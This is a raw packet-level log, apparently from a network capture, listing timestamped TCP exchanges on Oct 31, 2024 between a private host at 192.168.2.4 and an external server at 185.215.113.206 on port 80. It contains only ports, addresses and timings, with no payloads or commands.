Oct 31, 2024 17:26:31.760890961 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.760901928 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.760911942 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.760915995 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.760929108 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.760943890 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.760955095 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.760974884 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.761096001 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.761140108 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.761204958 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.761218071 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.761228085 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.761238098 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.761245966 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.761253119 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.761265039 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.761265993 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.761279106 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.761286020 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.761291981 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.761306047 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.761329889 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.761514902 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.761528969 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.761543036 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.761554003 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.761564016 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.761571884 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.761580944 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.761584997 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.761598110 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.761598110 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.761609077 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.761616945 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.761621952 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.761635065 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.761647940 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.761660099 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.761686087 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.761969090 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.761981010 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.761990070 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.762001991 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.762013912 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.762015104 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.762029886 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.762032986 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.762058973 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.762074947 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.762245893 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.762258053 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.762269020 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.762281895 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.762295961 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.762300968 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.762311935 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.762316942 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.762322903 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.762335062 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.762336969 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.762347937 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.762356997 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.762361050 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.762373924 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.762382984 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.762384892 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.762393951 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.762398005 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.762408972 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.762419939 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.762424946 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.762433052 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.762453079 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.762463093 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.762947083 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.763108969 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.763120890 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.763129950 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.763142109 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.763153076 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.763158083 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.763164043 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.763168097 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.763176918 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.763189077 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.763199091 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.763200045 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.763211012 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.763226032 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.763228893 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.763240099 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.763267994 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.763555050 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.763571978 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.763585091 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.763593912 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.763622999 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.763691902 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.763704062 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.763715029 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.763729095 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.763739109 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.763753891 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.763775110 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.763830900 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.763843060 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.763854027 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.763865948 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.763879061 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.763901949 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.763915062 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.763926029 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.763933897 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.763937950 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.763947964 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.763951063 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.763959885 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.763978958 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.764000893 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.764054060 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.764065981 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.764075041 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.764085054 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.764092922 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.764096022 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.764105082 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.764108896 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.764120102 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.764131069 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.764136076 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.764143944 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.764154911 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.764158964 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.764168978 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.764177084 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.764198065 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.764224052 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.764422894 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.764434099 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.764457941 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.764481068 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.810867071 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.810880899 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.810892105 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.810959101 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.810995102 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.811882019 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.811896086 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.811956882 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.879187107 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.879205942 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.879215956 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.879249096 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.879260063 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.879271984 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.879273891 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.879290104 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.879293919 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.879317999 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.879342079 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.879379988 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.879394054 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.879403114 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.879415035 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.879422903 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.879426956 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.879434109 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.879447937 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.879447937 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.879476070 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.879487991 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.879501104 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.879506111 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.879513025 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.879528046 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.879528046 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.879543066 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.879544020 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.879556894 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.879568100 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.879568100 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.879576921 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.879582882 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.879595041 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.879605055 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.879621983 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.879646063 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.879837990 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.879849911 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.879859924 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.879870892 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.879882097 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.879884005 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.879893064 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.879904032 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.879910946 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.879920959 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.879930019 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.879933119 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.879946947 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.879954100 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.879966974 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.879967928 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.879981995 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.879992962 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.879997015 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.880006075 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.880021095 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.880044937 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.881876945 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.881912947 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.881923914 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.881968975 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.882050037 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.882061958 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.882071972 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.882081985 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.882102966 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.882118940 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.882314920 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.882325888 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.882335901 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.882348061 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.882359982 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.882363081 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.882373095 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.882385015 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.882388115 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.882397890 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.882399082 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.882411003 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.882426977 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.882457972 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.883275986 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.883292913 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.883302927 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.883322001 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.883336067 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.883338928 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.883347988 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.883349895 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.883359909 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.883371115 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.883382082 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.883393049 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.883397102 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.883407116 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.883418083 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.883425951 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.883430004 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.883441925 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.883450985 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.883455038 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.883466959 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.883475065 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.883479118 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.883486032 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.883491993 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.883508921 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.883512020 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.883537054 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.883546114 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.883764029 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.883774996 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.883785963 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.883795977 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.883807898 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.883810043 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.883821964 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.883831024 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.883835077 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.883842945 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.883848906 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.883862019 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.883873940 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.883873940 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.883893013 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.883903027 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.883903027 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.883912086 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.883915901 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.883933067 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.883941889 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.883944988 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.883958101 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.883970022 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.883971930 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.883980989 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.883984089 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.883994102 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.884005070 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.884010077 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.884016991 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.884027958 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.884038925 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.884040117 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.884049892 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.884052992 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.884067059 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.884073019 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.884078026 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.884094000 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.884119987 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.884761095 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.884773016 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.884782076 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.884809017 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.884825945 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.885166883 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.885179043 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.885190964 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.885200977 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.885205984 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.885214090 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.885215998 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.885240078 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.885257006 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.885262966 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.885270119 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.885279894 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.885292053 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.885294914 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.885304928 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.885313988 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.885324955 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.885328054 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.885335922 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.885354996 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.885358095 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.885368109 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.885374069 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.885380030 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.885400057 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.885427952 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.927650928 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.927669048 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.927680016 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.927721024 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.927751064 CET	62829	80	192.168.2.4	185.215.113.206
